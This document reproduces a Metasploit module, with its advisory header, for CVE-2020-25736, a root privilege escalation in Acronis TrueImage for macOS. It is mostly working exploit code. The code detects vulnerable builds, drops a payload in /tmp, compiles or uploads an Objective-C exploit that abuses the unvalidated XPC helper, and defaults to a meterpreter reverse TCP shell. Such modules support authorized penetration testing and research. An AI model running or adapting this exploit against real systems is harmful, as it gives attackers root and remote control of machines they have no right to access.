Headline
Acronis TrueImage XPC Privilege Escalation
Acronis TrueImage versions 2019 update 1 through 2021 update 1 are vulnerable to privilege escalation. The com.acronis.trueimagehelper helper tool does not perform any validation on connecting clients, which gives arbitrary clients the ability to execute functions provided by the helper tool with root privileges.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common include Msf::Post::Process include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Acronis TrueImage XPC Privilege Escalation', 'Description' => %q{ Acronis TrueImage versions 2019 update 1 through 2021 update 1 are vulnerable to privilege escalation. The `com.acronis.trueimagehelper` helper tool does not perform any validation on connecting clients, which gives arbitrary clients the ability to execute functions provided by the helper tool with `root` privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'Csaba Fitzl', # @theevilbit - Vulnerability Discovery 'Shelby Pace' # Metasploit Module and Objective-c code ], 'Platform' => [ 'osx' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2020-25736' ], [ 'URL', 'https://kb.acronis.com/content/68061' ], [ 'URL', 'https://attackerkb.com/topics/a1Yrvagxt5/cve-2020-25736' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp', 'WfsDelay' => 15 }, 'DisclosureDate' => '2020-11-11', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'Writable directory to write the payload to', '/tmp' ]), OptString.new('SHELL', [ true, 'Shell to use for executing payload', '/bin/zsh' ]), OptEnum.new('COMPILE', [ true, 'Compile exploit on target', 'Auto', [ 'Auto', 'True', 'False' ] ]) ]) end def tmp_dir datastore['WRITABLE_DIR'].to_s end def sys_shell datastore['SHELL'].to_s end def compile datastore['COMPILE'] end def compile_on_target? return false if compile == 'False' if compile == 'Auto' ret = cmd_exec('xcode-select -p') return false if ret.include?('error: unable') end true end def exp_file_name @exp_file_name ||= Rex::Text.rand_text_alpha(5..10) end def check helper_location = '/Library/PrivilegedHelperTools' helper_svc_names = [ 'com.acronis.trueimagehelper', 'com.acronis.helpertool' ] plist = '/Applications/Acronis True Image.app/Contents/Info.plist' unless helper_svc_names.any? { |svc_name| file?("#{helper_location}/#{svc_name}") } return CheckCode::Safe end return CheckCode::Detected('Service found, but cannot determine version via plist') unless file?(plist) plutil_cmd = "plutil -extract CFBundleVersion raw \'#{plist}\'" build_no = cmd_exec(plutil_cmd) return CheckCode::Detected('Could not retrieve build number from plist') if build_no.blank? build_no = build_no.to_i vprint_status("Found build #{build_no}") return CheckCode::Appears('Vulnerable build found') if build_no > 14170 && build_no < 33610 CheckCode::Safe('Acronis version found is not vulnerable') end def exploit payload_name = Rex::Text.rand_text_alpha(7) @payload_path = "#{tmp_dir}/#{payload_name}" print_status("Attempting to write payload at #{@payload_path}") unless upload_and_chmodx(@payload_path, generate_payload_exe) fail_with(Failure::BadConfig, 'Failed to write payload. Consider changing WRITABLE_DIR option.') end vprint_good("Successfully wrote payload at #{@payload_path}") @pid = get_valid_pid exp_bin_path = "#{tmp_dir}/#{exp_file_name}" if compile_on_target? exp_src = "#{exp_file_name}.m" exp_path = "#{tmp_dir}/#{exp_src}" compile_cmd = "gcc -framework Foundation #{exp_path} -o #{exp_bin_path}" unless write_file(exp_path, objective_c_code) fail_with(Failure::BadConfig, 'Failed to write Objective-C exploit to disk. WRITABLE_DIR may need to be changed') end register_files_for_cleanup(@payload_path, exp_path, exp_bin_path) ret = cmd_exec(compile_cmd) fail_with(Failure::UnexpectedReply, "Failed to compile #{exp_src}") unless ret.blank? print_status("Successfully compiled #{exp_src}...Now executing payload") else print_status("Using pre-compiled exploit #{exp_bin_path}") compiled_exploit = compiled_exp unless upload_and_chmodx(exp_bin_path, compiled_exploit) fail_with(Failure::BadConfig, 'Failed to write compiled exploit. Consider changing WRITABLE_DIR option.') end register_files_for_cleanup(exp_bin_path, @payload_path) end cmd_exec(exp_bin_path) end def objective_c_code file_contents = exploit_data('CVE-2020-25736', 'acronis-exp.erb') ERB.new(file_contents).result(binding) rescue Errno::ENOENT fail_with(Failure::NotFound, 'ERB payload file not found') end def compiled_exp compiled = exploit_data('CVE-2020-25736', 'acronis-exp.macho') compiled.gsub!('/tmp/payload', @payload_path) compiled.gsub!('/bin/zsh', sys_shell) compiled.gsub!("\xEF\xBE\xAD\xDE".force_encoding('ASCII-8BIT'), [@pid.to_i].pack('V')) compiled end def get_valid_pid procs = get_processes return '1' if procs.empty? len = procs.length rand_proc = procs[rand(1...len)] return '1' if rand_proc['pid'].to_s.blank? rand_proc['pid'].to_s endend